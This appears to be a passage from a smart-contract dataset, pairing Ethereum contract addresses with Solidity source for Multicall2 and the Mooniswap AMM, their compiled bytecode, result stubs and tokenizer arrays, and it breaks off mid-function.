0000000000000604482015290519081900360640190fd5b95945050505050565b80546001019055565b4690565b6000838383611916611905565b30604051602001808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001955050505050506040516020818303038152906040528051906020012090509392505050565b6000610f5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127856fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205ac51b998a325fc4054f1b815841b82ea10189ca1217539546c30a1b73d0eb8b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2629, 2063, 24096, 16932, 2063, 12521, 2278, 2692, 2094, 2509, 2050, 21619, 21619, 7011, 2497, 2629, 27717, 2620, 2063, 2575, 2497, 2581, 24434, 25746, 21057, 21926, 1013, 1008, 1008, 1036, 1036, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1036, 1036, 1012, 1024, 1013, 1009, 1051, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 1009, 1013, 1011, 1012, 1036, 1036, 1011, 1024, 1009, 1051, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 1009, 1024, 1012, 1036, 1011, 1013, 1051, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 1013, 1012, 1012, 1024, 1009, 1051, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 9541, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,334
0x9695FA23b27022c7DD752B7d64bB5900677ECC21
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; pragma experimental ABIEncoderV2; /// @title Multicall2 - Aggregate results from multiple read-only function calls /// @author Michael Elliot <[email protected]> /// @author Joshua Levine <[email protected]> /// @author Nick Johnson <[email protected]> contract Multicall2 { struct Call { address target; bytes callData; } struct Result { bool success; bytes returnData; } function aggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes[] memory returnData) { blockNumber = block.number; returnData = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData); require(success, "Multicall aggregate: call failed"); returnData[i] = ret; } } function blockAndAggregate(Call[] memory calls) public returns ( uint256 blockNumber, bytes32 blockHash, Result[] memory returnData ) { (blockNumber, blockHash, returnData) = tryBlockAndAggregate( true, calls ); } function getBlockHash(uint256 blockNumber) public view returns (bytes32 blockHash) { blockHash = blockhash(blockNumber); } function getBlockNumber() public view returns (uint256 blockNumber) { blockNumber = block.number; } function getCurrentBlockCoinbase() public view returns (address coinbase) { coinbase = block.coinbase; } function getCurrentBlockDifficulty() public view returns (uint256 difficulty) { difficulty = block.difficulty; } function getCurrentBlockGasLimit() public view returns (uint256 gaslimit) { gaslimit = block.gaslimit; } function getCurrentBlockTimestamp() public view returns (uint256 timestamp) { timestamp = block.timestamp; } function getEthBalance(address addr) public view returns (uint256 balance) { balance = addr.balance; } function getLastBlockHash() public view returns (bytes32 blockHash) { blockHash = blockhash(block.number - 1); } function tryAggregate(bool requireSuccess, Call[] memory calls) public returns (Result[] memory returnData) { returnData = new Result[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData); if (requireSuccess) { require(success, "Multicall2 aggregate: call failed"); } returnData[i] = Result(success, ret); } } function tryBlockAndAggregate(bool requireSuccess, Call[] memory calls) public returns ( uint256 blockNumber, bytes32 blockHash, Result[] memory returnData ) { blockNumber = block.number; blockHash = blockhash(block.number); returnData = tryAggregate(requireSuccess, calls); } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c806372425d9d11610081578063bce38bd71161005b578063bce38bd714610182578063c3077fa9146101a2578063ee82ac5e146101b5576100d4565b806372425d9d1461015d57806386d516e814610165578063a8b0574e1461016d576100d4565b8063399542e9116100b2578063399542e91461012057806342cbb15c146101425780634d2301cc1461014a576100d4565b80630f28c97d146100d9578063252dba42146100f757806327e86d6e14610118575b600080fd5b6100e16101c8565b6040516100ee91906108aa565b60405180910390f35b61010a610105366004610702565b6101cc565b6040516100ee929190610945565b6100e1610332565b61013361012e36600461073d565b610359565b6040516100ee939291906109cb565b6100e1610371565b6100e16101583660046106e0565b610375565b6100e161038f565b6100e1610393565b610175610397565b6040516100ee9190610876565b61019561019036600461073d565b61039b565b6040516100ee9190610897565b6101336101b0366004610702565b610518565b6100e16101c336600461078f565b610535565b4290565b8051439060609067ffffffffffffffff811180156101e957600080fd5b5060405190808252806020026020018201604052801561021d57816020015b60608152602001906001900390816102085790505b50905060005b835181101561032c576000606085838151811061023c57fe5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1686848151811061026a57fe5b602002602001015160200151604051610283919061085a565b6000604051808303816000865af19150503d80600081146102c0576040519150601f19603f3d011682016040523d82523d6000602084013e6102c5565b606091505b50915091508161030a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030190610910565b60405180910390fd5b8084848151811061031757fe5b60209081029190910101525050600101610223565b50915091565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff43014090565b4380406060610368858561039b565b90509250925092565b4390565b73ffffffffffffffffffffffffffffffffffffffff163190565b4490565b4590565b4190565b6060815167ffffffffffffffff811180156103b557600080fd5b506040519080825280602002602001820160405280156103ef57816020015b6103dc610539565b8152602001906001900390816103d45790505b50905060005b8251811015610511576000606084838151811061040e57fe5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1685848151811061043c57fe5b602002602001015160200151604051610455919061085a565b6000604051808303816000865af19150503d8060008114610492576040519150601f19603f3d011682016040523d82523d6000602084013e610497565b606091505b509150915085156104d957816104d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610301906108b3565b60405180604001604052808315158152602001828152508484815181106104fc57fe5b602090810291909101015250506001016103f5565b5092915050565b6000806060610528600185610359565b9196909550909350915050565b4090565b60408051808201909152600081526060602082015290565b803573ffffffffffffffffffffffffffffffffffffffff8116811461057557600080fd5b92915050565b600082601f83011261058b578081fd5b813567ffffffffffffffff808211156105a2578283fd5b60206105b181828502016109f3565b838152935080840185820160005b8581101561064d57813588016040807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0838d030112156105fe57600080fd5b610607816109f3565b6106138c888501610551565b815290820135908782111561062757600080fd5b6106358c8884860101610659565b818801528552505091830191908301906001016105bf565b50505050505092915050565b600082601f830112610669578081fd5b813567ffffffffffffffff81111561067f578182fd5b6106b060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116016109f3565b91508082528360208285010111156106c757600080fd5b8060208401602084013760009082016020015292915050565b6000602082840312156106f1578081fd5b6106fb8383610551565b9392505050565b600060208284031215610713578081fd5b813567ffffffffffffffff811115610729578182fd5b6107358482850161057b565b949350505050565b6000806040838503121561074f578081fd5b8235801515811461075e578182fd5b9150602083013567ffffffffffffffff811115610779578182fd5b6107858582860161057b565b9150509250929050565b6000602082840312156107a0578081fd5b5035919050565b6000815180845260208085018081965082840281019150828601855b85811015610803578284038952815180511515855285015160408686018190526107ef81870183610810565b9a87019a95505050908401906001016107c3565b5091979650505050505050565b60008151808452610828816020860160208601610a1a565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000825161086c818460208701610a1a565b9190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b6000602082526106fb60208301846107a7565b90815260200190565b60208082526021908201527f4d756c746963616c6c32206167677265676174653a2063616c6c206661696c6560408201527f6400000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4d756c746963616c6c206167677265676174653a2063616c6c206661696c6564604082015260600190565b600060408201848352602060408185015281855180845260608601915060608382028701019350828701855b828110156109bd577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa08887030184526109ab868351610810565b95509284019290840190600101610971565b509398975050505050505050565b6000848252836020830152606060408301526109ea60608301846107a7565b95945050505050565b60405181810167ffffffffffffffff81118282101715610a1257600080fd5b604052919050565b60005b83811015610a35578181015183820152602001610a1d565b83811115610a44576000848401525b5050505056fea2646970667358221220c3aa7520f1d36eed2837554e9a516992d652966208d0e9c22f82c6deac1ce29164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2629, 7011, 21926, 2497, 22907, 2692, 19317, 2278, 2581, 14141, 23352, 2475, 2497, 2581, 2094, 21084, 10322, 28154, 8889, 2575, 2581, 2581, 8586, 2278, 17465, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 1013, 1030, 2516, 4800, 9289, 2140, 2475, 1011, 9572, 3463, 2013, 3674, 3191, 1011, 2069, 3853, 4455, 1013, 1013, 1013, 1030, 3166, 2745, 11759, 1026, 1031, 10373, 5123, 1033, 1028, 1013, 1013, 1013, 1030, 3166, 9122, 17780, 1026, 1031, 10373, 5123, 1033, 1028, 1013, 1013, 1013, 1030, 3166, 4172, 3779, 1026, 1031, 10373, 5123, 1033, 1028, 3206, 4800, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,335
0x9696D4999a25766719D0e80294F93bB62A5a3178
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IFeeCollector.sol"; import "./libraries/UniERC20.sol"; import "./libraries/Sqrt.sol"; import "./libraries/VirtualBalance.sol"; import "./governance/MooniswapGovernance.sol"; contract Mooniswap is MooniswapGovernance { using Sqrt for uint256; using SafeMath for uint256; using UniERC20 for IERC20; using VirtualBalance for VirtualBalance.Data; struct Balances { uint256 src; uint256 dst; } struct SwapVolumes { uint128 confirmed; uint128 result; } struct Fees { uint256 fee; uint256 slippageFee; } event Error(string reason); event Deposited( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Withdrawn( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Swapped( address indexed sender, address indexed receiver, address indexed srcToken, address dstToken, uint256 amount, uint256 result, uint256 srcAdditionBalance, uint256 dstRemovalBalance, address referral ); event Sync( uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee, uint256 referralShare, uint256 governanceShare ); uint256 private constant _BASE_SUPPLY = 1000; // Total supply on first deposit IERC20 public immutable token0; IERC20 public immutable token1; mapping(IERC20 => SwapVolumes) public volumes; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForAddition; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForRemoval; modifier whenNotShutdown { require(mooniswapFactoryGovernance.isActive(), "Mooniswap: factory shutdown"); _; } constructor( IERC20 _token0, IERC20 _token1, string memory name, string memory symbol, IMooniswapFactoryGovernance _mooniswapFactoryGovernance ) public ERC20(name, symbol) MooniswapGovernance(_mooniswapFactoryGovernance) { require(bytes(name).length > 0, "Mooniswap: name is empty"); require(bytes(symbol).length > 0, "Mooniswap: symbol is empty"); require(_token0 != _token1, "Mooniswap: duplicate tokens"); token0 = _token0; token1 = _token1; } function getTokens() external view returns(IERC20[] memory tokens) { tokens = new IERC20[](2); tokens[0] = token0; tokens[1] = token1; } function tokens(uint256 i) external view returns(IERC20) { if (i == 0) { return token0; } else if (i == 1) { return token1; } else { revert("Pool has two tokens"); } } function getBalanceForAddition(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.max(virtualBalancesForAddition[token].current(decayPeriod(), balance), balance); } function getBalanceForRemoval(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.min(virtualBalancesForRemoval[token].current(decayPeriod(), balance), balance); } function getReturn(IERC20 src, IERC20 dst, uint256 amount) external view returns(uint256) { return _getReturn(src, dst, amount, getBalanceForAddition(src), getBalanceForRemoval(dst), fee(), slippageFee()); } function deposit(uint256[2] memory maxAmounts, uint256[2] memory minAmounts) external payable returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { return depositFor(maxAmounts, minAmounts, msg.sender); } function depositFor(uint256[2] memory maxAmounts, uint256[2] memory minAmounts, address target) public payable nonReentrant returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { IERC20[2] memory _tokens = [token0, token1]; require(msg.value == (_tokens[0].isETH() ? maxAmounts[0] : (_tokens[1].isETH() ? maxAmounts[1] : 0)), "Mooniswap: wrong value usage"); uint256 totalSupply = totalSupply(); if (totalSupply == 0) { fairSupply = _BASE_SUPPLY.mul(99); _mint(address(this), _BASE_SUPPLY); // Donate up to 1% for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.max(fairSupply, maxAmounts[i]); require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); require(maxAmounts[i] >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), maxAmounts[i]); receivedAmounts[i] = maxAmounts[i]; } } else { uint256[2] memory realBalances; for (uint i = 0; i < realBalances.length; i++) { realBalances[i] = _tokens[i].uniBalanceOf(address(this)).sub(_tokens[i].isETH() ? msg.value : 0); } // Pre-compute fair supply fairSupply = type(uint256).max; for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.min(fairSupply, totalSupply.mul(maxAmounts[i]).div(realBalances[i])); } uint256 fairSupplyCached = fairSupply; for (uint i = 0; i < maxAmounts.length; i++) { require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); uint256 amount = realBalances[i].mul(fairSupplyCached).add(totalSupply - 1).div(totalSupply); require(amount >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), amount); receivedAmounts[i] = _tokens[i].uniBalanceOf(address(this)).sub(realBalances[i]); fairSupply = Math.min(fairSupply, totalSupply.mul(receivedAmounts[i]).div(realBalances[i])); } uint256 _decayPeriod = decayPeriod(); // gas savings for (uint i = 0; i < maxAmounts.length; i++) { virtualBalancesForRemoval[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); virtualBalancesForAddition[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); } } require(fairSupply > 0, "Mooniswap: result is not enough"); _mint(target, fairSupply); emit Deposited(msg.sender, target, fairSupply, receivedAmounts[0], receivedAmounts[1]); } function withdraw(uint256 amount, uint256[] memory minReturns) external returns(uint256[2] memory withdrawnAmounts) { return withdrawFor(amount, minReturns, msg.sender); } function withdrawFor(uint256 amount, uint256[] memory minReturns, address payable target) public nonReentrant returns(uint256[2] memory withdrawnAmounts) { IERC20[2] memory _tokens = [token0, token1]; uint256 totalSupply = totalSupply(); uint256 _decayPeriod = decayPeriod(); // gas savings _burn(msg.sender, amount); for (uint i = 0; i < _tokens.length; i++) { IERC20 token = _tokens[i]; uint256 preBalance = token.uniBalanceOf(address(this)); uint256 value = preBalance.mul(amount).div(totalSupply); token.uniTransfer(target, value); withdrawnAmounts[i] = value; require(i >= minReturns.length || value >= minReturns[i], "Mooniswap: result is not enough"); virtualBalancesForAddition[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); virtualBalancesForRemoval[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); } emit Withdrawn(msg.sender, target, amount, withdrawnAmounts[0], withdrawnAmounts[1]); } function swap(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral) external payable returns(uint256 result) { return swapFor(src, dst, amount, minReturn, referral, msg.sender); } function swapFor(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral, address payable receiver) public payable nonReentrant whenNotShutdown returns(uint256 result) { require(msg.value == (src.isETH() ? amount : 0), "Mooniswap: wrong value usage"); Balances memory balances = Balances({ src: src.uniBalanceOf(address(this)).sub(src.isETH() ? msg.value : 0), dst: dst.uniBalanceOf(address(this)) }); uint256 confirmed; Balances memory virtualBalances; Fees memory fees = Fees({ fee: fee(), slippageFee: slippageFee() }); (confirmed, result, virtualBalances) = _doTransfers(src, dst, amount, minReturn, receiver, balances, fees); emit Swapped(msg.sender, receiver, address(src), address(dst), confirmed, result, virtualBalances.src, virtualBalances.dst, referral); _mintRewards(confirmed, result, referral, balances, fees); // Overflow of uint128 is desired volumes[src].confirmed += uint128(confirmed); volumes[src].result += uint128(result); } function _doTransfers(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address payable receiver, Balances memory balances, Fees memory fees) private returns(uint256 confirmed, uint256 result, Balances memory virtualBalances) { uint256 _decayPeriod = decayPeriod(); virtualBalances.src = virtualBalancesForAddition[src].current(_decayPeriod, balances.src); virtualBalances.src = Math.max(virtualBalances.src, balances.src); virtualBalances.dst = virtualBalancesForRemoval[dst].current(_decayPeriod, balances.dst); virtualBalances.dst = Math.min(virtualBalances.dst, balances.dst); src.uniTransferFrom(msg.sender, address(this), amount); confirmed = src.uniBalanceOf(address(this)).sub(balances.src); result = _getReturn(src, dst, confirmed, virtualBalances.src, virtualBalances.dst, fees.fee, fees.slippageFee); require(result > 0 && result >= minReturn, "Mooniswap: return is not enough"); dst.uniTransfer(receiver, result); // Update virtual balances to the same direction only at imbalanced state if (virtualBalances.src != balances.src) { virtualBalancesForAddition[src].set(virtualBalances.src.add(confirmed)); } if (virtualBalances.dst != balances.dst) { virtualBalancesForRemoval[dst].set(virtualBalances.dst.sub(result)); } // Update virtual balances to the opposite direction virtualBalancesForRemoval[src].update(_decayPeriod, balances.src); virtualBalancesForAddition[dst].update(_decayPeriod, balances.dst); } function _mintRewards(uint256 confirmed, uint256 result, address referral, Balances memory balances, Fees memory fees) private { (uint256 referralShare, uint256 governanceShare, address govWallet, address feeCollector) = mooniswapFactoryGovernance.shareParameters(); uint256 refReward; uint256 govReward; uint256 invariantRatio = uint256(1e36); invariantRatio = invariantRatio.mul(balances.src.add(confirmed)).div(balances.src); invariantRatio = invariantRatio.mul(balances.dst.sub(result)).div(balances.dst); if (invariantRatio > 1e36) { // calculate share only if invariant increased invariantRatio = invariantRatio.sqrt(); uint256 invIncrease = totalSupply().mul(invariantRatio.sub(1e18)).div(invariantRatio); refReward = (referral != address(0)) ? invIncrease.mul(referralShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; govReward = (govWallet != address(0)) ? invIncrease.mul(governanceShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; if (feeCollector == address(0)) { if (refReward > 0) { _mint(referral, refReward); } if (govReward > 0) { _mint(govWallet, govReward); } } else if (refReward > 0 || govReward > 0) { uint256 len = (refReward > 0 ? 1 : 0) + (govReward > 0 ? 1 : 0); address[] memory wallets = new address[](len); uint256[] memory rewards = new uint256[](len); wallets[0] = referral; rewards[0] = refReward; if (govReward > 0) { wallets[len - 1] = govWallet; rewards[len - 1] = govReward; } try IFeeCollector(feeCollector).updateRewards(wallets, rewards) { _mint(feeCollector, refReward.add(govReward)); } catch { emit Error("updateRewards() failed"); } } } emit Sync(balances.src, balances.dst, fees.fee, fees.slippageFee, refReward, govReward); } /* spot_ret = dx * y / x uni_ret = dx * y / (x + dx) slippage = (spot_ret - uni_ret) / spot_ret slippage = dx * dx * y / (x * (x + dx)) / (dx * y / x) slippage = dx / (x + dx) ret = uni_ret * (1 - slip_fee * slippage) ret = dx * y / (x + dx) * (1 - slip_fee * dx / (x + dx)) ret = dx * y / (x + dx) * (x + dx - slip_fee * dx) / (x + dx) x = amount * denominator dx = amount * (denominator - fee) */ function _getReturn(IERC20 src, IERC20 dst, uint256 amount, uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee) internal view returns(uint256) { if (src > dst) { (src, dst) = (dst, src); } if (amount > 0 && src == token0 && dst == token1) { uint256 taxedAmount = amount.sub(amount.mul(fee).div(MooniswapConstants._FEE_DENOMINATOR)); uint256 srcBalancePlusTaxedAmount = srcBalance.add(taxedAmount); uint256 ret = taxedAmount.mul(dstBalance).div(srcBalancePlusTaxedAmount); uint256 feeNumerator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount).sub(slippageFee.mul(taxedAmount)); uint256 feeDenominator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount); return ret.mul(feeNumerator).div(feeDenominator); } } function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner { uint256 balance0 = token0.uniBalanceOf(address(this)); uint256 balance1 = token1.uniBalanceOf(address(this)); token.uniTransfer(msg.sender, amount); require(token0.uniBalanceOf(address(this)) >= balance0, "Mooniswap: access denied"); require(token1.uniBalanceOf(address(this)) >= balance1, "Mooniswap: access denied"); require(balanceOf(address(this)) >= _BASE_SUPPLY, "Mooniswap: access denied"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./interfaces/IMooniswapDeployer.sol"; import "./interfaces/IMooniswapFactory.sol"; import "./libraries/UniERC20.sol"; import "./Mooniswap.sol"; import "./governance/MooniswapFactoryGovernance.sol"; contract MooniswapFactory is IMooniswapFactory, MooniswapFactoryGovernance { using UniERC20 for IERC20; event Deployed( Mooniswap indexed mooniswap, IERC20 indexed token1, IERC20 indexed token2 ); IMooniswapDeployer public immutable mooniswapDeployer; address public immutable poolOwner; Mooniswap[] public allPools; mapping(Mooniswap => bool) public override isPool; mapping(IERC20 => mapping(IERC20 => Mooniswap)) private _pools; constructor (address _poolOwner, IMooniswapDeployer _mooniswapDeployer, address _governanceMothership) public MooniswapFactoryGovernance(_governanceMothership) { poolOwner = _poolOwner; mooniswapDeployer = _mooniswapDeployer; } function getAllPools() external view returns(Mooniswap[] memory) { return allPools; } function pools(IERC20 tokenA, IERC20 tokenB) external view override returns (Mooniswap pool) { (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); return _pools[token1][token2]; } function deploy(IERC20 tokenA, IERC20 tokenB) public returns(Mooniswap pool) { require(tokenA != tokenB, "Factory: not support same tokens"); (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); require(_pools[token1][token2] == Mooniswap(0), "Factory: pool already exists"); string memory symbol1 = token1.uniSymbol(); string memory symbol2 = token2.uniSymbol(); pool = mooniswapDeployer.deploy( token1, token2, string(abi.encodePacked("1inch Liquidity Pool (", symbol1, "-", symbol2, ")")), string(abi.encodePacked("1LP-", symbol1, "-", symbol2)), poolOwner ); _pools[token1][token2] = pool; allPools.push(pool); isPool[pool] = true; emit Deployed(pool, token1, token2); } function sortTokens(IERC20 tokenA, IERC20 tokenB) public pure returns(IERC20, IERC20) { if (tokenA < tokenB) { return (tokenA, tokenB); } return (tokenB, tokenA); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../interfaces/IGovernanceModule.sol"; abstract contract BaseGovernanceModule is IGovernanceModule { address public immutable mothership; modifier onlyMothership { require(msg.sender == mothership, "Access restricted to mothership"); _; } constructor(address _mothership) public { mothership = _mothership; } function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external override onlyMothership { require(accounts.length == newBalances.length, "Arrays length should be equal"); for(uint256 i = 0; i < accounts.length; ++i) { _notifyStakeChanged(accounts[i], newBalances[i]); } } function notifyStakeChanged(address account, uint256 newBalance) external override onlyMothership { _notifyStakeChanged(account, newBalance); } function _notifyStakeChanged(address account, uint256 newBalance) internal virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/ExplicitLiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; import "../utils/BalanceAccounting.sol"; import "./BaseGovernanceModule.sol"; contract MooniswapFactoryGovernance is IMooniswapFactoryGovernance, BaseGovernanceModule, BalanceAccounting, Ownable, Pausable { using Vote for Vote.Data; using ExplicitLiquidVoting for ExplicitLiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeMath for uint256; using SafeCast for uint256; event DefaultFeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event DefaultSlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DefaultDecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); event ReferralShareVoteUpdate(address indexed user, uint256 referralShare, bool isDefault, uint256 amount); event GovernanceShareVoteUpdate(address indexed user, uint256 governanceShare, bool isDefault, uint256 amount); event GovernanceWalletUpdate(address governanceWallet); event FeeCollectorUpdate(address feeCollector); ExplicitLiquidVoting.Data private _defaultFee; ExplicitLiquidVoting.Data private _defaultSlippageFee; ExplicitLiquidVoting.Data private _defaultDecayPeriod; ExplicitLiquidVoting.Data private _referralShare; ExplicitLiquidVoting.Data private _governanceShare; address public override governanceWallet; address public override feeCollector; mapping(address => bool) public override isFeeCollector; constructor(address _mothership) public BaseGovernanceModule(_mothership) { _defaultFee.data.result = MooniswapConstants._DEFAULT_FEE.toUint104(); _defaultSlippageFee.data.result = MooniswapConstants._DEFAULT_SLIPPAGE_FEE.toUint104(); _defaultDecayPeriod.data.result = MooniswapConstants._DEFAULT_DECAY_PERIOD.toUint104(); _referralShare.data.result = MooniswapConstants._DEFAULT_REFERRAL_SHARE.toUint104(); _governanceShare.data.result = MooniswapConstants._DEFAULT_GOVERNANCE_SHARE.toUint104(); } function shutdown() external onlyOwner { _pause(); } function isActive() external view override returns (bool) { return !paused(); } function shareParameters() external view override returns(uint256, uint256, address, address) { return (_referralShare.data.current(), _governanceShare.data.current(), governanceWallet, feeCollector); } function defaults() external view override returns(uint256, uint256, uint256) { return (_defaultFee.data.current(), _defaultSlippageFee.data.current(), _defaultDecayPeriod.data.current()); } function defaultFee() external view override returns(uint256) { return _defaultFee.data.current(); } function defaultFeeVotes(address user) external view returns(uint256) { return _defaultFee.votes[user].get(MooniswapConstants._DEFAULT_FEE); } function virtualDefaultFee() external view returns(uint104, uint104, uint48) { return (_defaultFee.data.oldResult, _defaultFee.data.result, _defaultFee.data.time); } function defaultSlippageFee() external view override returns(uint256) { return _defaultSlippageFee.data.current(); } function defaultSlippageFeeVotes(address user) external view returns(uint256) { return _defaultSlippageFee.votes[user].get(MooniswapConstants._DEFAULT_SLIPPAGE_FEE); } function virtualDefaultSlippageFee() external view returns(uint104, uint104, uint48) { return (_defaultSlippageFee.data.oldResult, _defaultSlippageFee.data.result, _defaultSlippageFee.data.time); } function defaultDecayPeriod() external view override returns(uint256) { return _defaultDecayPeriod.data.current(); } function defaultDecayPeriodVotes(address user) external view returns(uint256) { return _defaultDecayPeriod.votes[user].get(MooniswapConstants._DEFAULT_DECAY_PERIOD); } function virtualDefaultDecayPeriod() external view returns(uint104, uint104, uint48) { return (_defaultDecayPeriod.data.oldResult, _defaultDecayPeriod.data.result, _defaultDecayPeriod.data.time); } function referralShare() external view override returns(uint256) { return _referralShare.data.current(); } function referralShareVotes(address user) external view returns(uint256) { return _referralShare.votes[user].get(MooniswapConstants._DEFAULT_REFERRAL_SHARE); } function virtualReferralShare() external view returns(uint104, uint104, uint48) { return (_referralShare.data.oldResult, _referralShare.data.result, _referralShare.data.time); } function governanceShare() external view override returns(uint256) { return _governanceShare.data.current(); } function governanceShareVotes(address user) external view returns(uint256) { return 